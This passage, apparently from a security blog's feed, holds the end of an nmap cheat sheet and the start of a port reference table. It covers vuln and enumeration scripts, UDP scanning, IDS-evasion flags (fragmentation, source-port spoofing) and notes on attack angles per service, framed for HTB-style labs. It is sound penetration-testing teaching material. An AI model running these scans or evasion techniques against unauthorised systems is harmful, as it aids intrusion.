&lt;td&gt;&lt;code&gt;-T4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Aggressive timing. Good default for labs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--min-rate 5000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Push packets/sec. Big speedup on &lt;code&gt;-p-&lt;/code&gt; scans.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--max-retries 1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Don’t waste time retrying filtered ports.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--open&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only show open ports in output.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verbose. Reports open ports as they’re found.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-T5&lt;/code&gt; is faster but drops accuracy on flaky targets. Stick to &lt;code&gt;-T4&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;nse-scripts&quot;&gt;NSE scripts&lt;/h2&gt;
&lt;p&gt;Run the vuln category:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;vuln&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap --script vuln $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Run safe and discovery categories:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;safe,discovery&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap --script safe,discovery $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;SMB enumeration:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-p445&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;smb-enum-shares,smb-os-discovery&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -p445 --script smb-enum-shares,smb-os-discovery $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;HTTP enumeration:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-p80&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;http-enum,http-title&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -p80 --script http-enum,http-title $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;FTP anonymous login test:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-p21&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ftp-anon&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -p21 --script ftp-anon $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Find scripts by keyword:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/usr/share/nmap/scripts&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; | grep &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;smb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo ls /usr/share/nmap/scripts | grep smb&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Read a script’s help:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--script-help&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;http-enum&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap --script-help http-enum&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;--script vuln&lt;/code&gt; is handy but noisy and not exhaustive. Never a substitute
for manual service enumeration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;output&quot;&gt;Output&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-oN file.nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Normal (human-readable).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-oG file.gnmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Greppable (extract ports easily).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-oX file.xml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;XML (feed into other tools).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-oA scans/base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All three at once. Always use this.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Save every scan under &lt;code&gt;scans/&lt;/code&gt;. You need this evidence for the report, and
re-scanning wastes time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;udp-notes&quot;&gt;UDP notes&lt;/h2&gt;
&lt;p&gt;UDP is slow because closed ports rarely reply. Don’t scan all 65535 UDP.
Top 100-200 is enough. High-value UDP finds:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Follow-up&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;zone transfer, subdomain enum&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;td&gt;TFTP&lt;/td&gt;
&lt;td&gt;anon file read/write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;161&lt;/td&gt;
&lt;td&gt;SNMP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;snmpwalk&lt;/code&gt; community strings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;IKE/VPN&lt;/td&gt;
&lt;td&gt;ike-scan&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sU&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sV&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--top-ports&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--open&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-T4&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oA&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;scans/udp&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -sU -sV --top-ports 200 --open -T4 -oA scans/udp $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;firewall--filtering-basics&quot;&gt;Firewall / filtering basics&lt;/h2&gt;
&lt;p&gt;Target drops ICMP, treat as up&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-Pn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;-Pn&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Connect scan when SYN is filtered&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sT&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;-sT&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Spoof source port (some filters trust DNS)&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--source-port &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;53&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;--source-port 53&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Fragment packets (basic IDS evasion)&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-f&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;-f&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Pad packets&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--data-length &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;--data-length 25&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;On HTB-like boxes you rarely fight real firewalls. Start simple, add &lt;code&gt;-Pn&lt;/code&gt; if
discovery fails, and don’t burn time on evasion unless a port is clearly filtered.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Port References</title><link>https://cadevue.dev/articles/port-references</link><guid isPermaLink="true">https://cadevue.dev/articles/port-references</guid><description>Common ports, their services, and what to check on each.</description><pubDate>Thu, 08 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Service-to-port map for enumeration. Ports are TCP unless the row says UDP. Services move, so always check with &lt;code&gt;-sV&lt;/code&gt;. A port is only what the banner proves it is.&lt;/p&gt;
&lt;h2 id=&quot;always-check-first&quot;&gt;Always check first&lt;/h2&gt;
&lt;p&gt;The high-value set worth prioritising on any target.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;Anonymous login, file read/write.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;Version-specific bugs, key or password auth, tunneling.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;SMTP&lt;/td&gt;
&lt;td&gt;User enumeration (&lt;code&gt;VRFY&lt;/code&gt;, &lt;code&gt;EXPN&lt;/code&gt;, &lt;code&gt;RCPT&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Zone transfer, subdomain and host names.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80 / 443&lt;/td&gt;
&lt;td&gt;HTTP / HTTPS&lt;/td&gt;
&lt;td&gt;Largest attack surface. Directory brute, vhosts, app bugs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;AD present. AS-REP roast, user enumeration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td&gt;rpcbind&lt;/td&gt;
&lt;td&gt;Maps to NFS and other RPC services.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;135 / 139 / 445&lt;/td&gt;
&lt;td&gt;MSRPC / NetBIOS / SMB&lt;/td&gt;
&lt;td&gt;Shares, users, RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;161 (UDP)&lt;/td&gt;
&lt;td&gt;SNMP&lt;/td&gt;
&lt;td&gt;Community strings leak users, processes, routes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389 / 636&lt;/td&gt;
&lt;td&gt;LDAP / LDAPS&lt;/td&gt;
&lt;td&gt;AD objects, users, groups.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1433 / 3306 / 5432&lt;/td&gt;
&lt;td&gt;MSSQL / MySQL / PostgreSQL&lt;/td&gt;
&lt;td&gt;Weak creds, command execution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3389&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;td&gt;Credential access to Windows.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985 / 5986&lt;/td&gt;
&lt;td&gt;WinRM&lt;/td&gt;
&lt;td&gt;Remote shell with valid creds (&lt;code&gt;evil-winrm&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;file-sharing-and-transfer&quot;&gt;File sharing and transfer&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;FTP data&lt;/td&gt;
&lt;td&gt;Active-mode data channel.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;FTP control&lt;/td&gt;
&lt;td&gt;Anonymous login, banner leaks version.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;TFTP&lt;/td&gt;
&lt;td&gt;No auth, no listing. Guess filenames.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;rpcbind / portmapper&lt;/td&gt;
&lt;td&gt;Lists RPC services. Feed into &lt;code&gt;showmount&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;135&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MSRPC&lt;/td&gt;
&lt;td&gt;Endpoint mapper. &lt;code&gt;rpcdump&lt;/code&gt;, DCOM.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;137&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;NetBIOS name&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nmblookup&lt;/code&gt;, name resolution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;138&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;NetBIOS datagram&lt;/td&gt;
&lt;td&gt;Browser service.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;NetBIOS session&lt;/td&gt;
&lt;td&gt;SMB over NetBIOS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;445&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SMB / CIFS&lt;/td&gt;
&lt;td&gt;Shares, users, EternalBlue.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;rexec&lt;/td&gt;
&lt;td&gt;Remote exec, cleartext creds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;513&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;rlogin&lt;/td&gt;
&lt;td&gt;Trust-based login, &lt;code&gt;.rhosts&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;514&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;rsh&lt;/td&gt;
&lt;td&gt;Remote shell, no auth if trusted.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;548&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;AFP&lt;/td&gt;
&lt;td&gt;Apple filing. &lt;code&gt;nmap afp-*&lt;/code&gt; scripts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;873&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;rsync&lt;/td&gt;
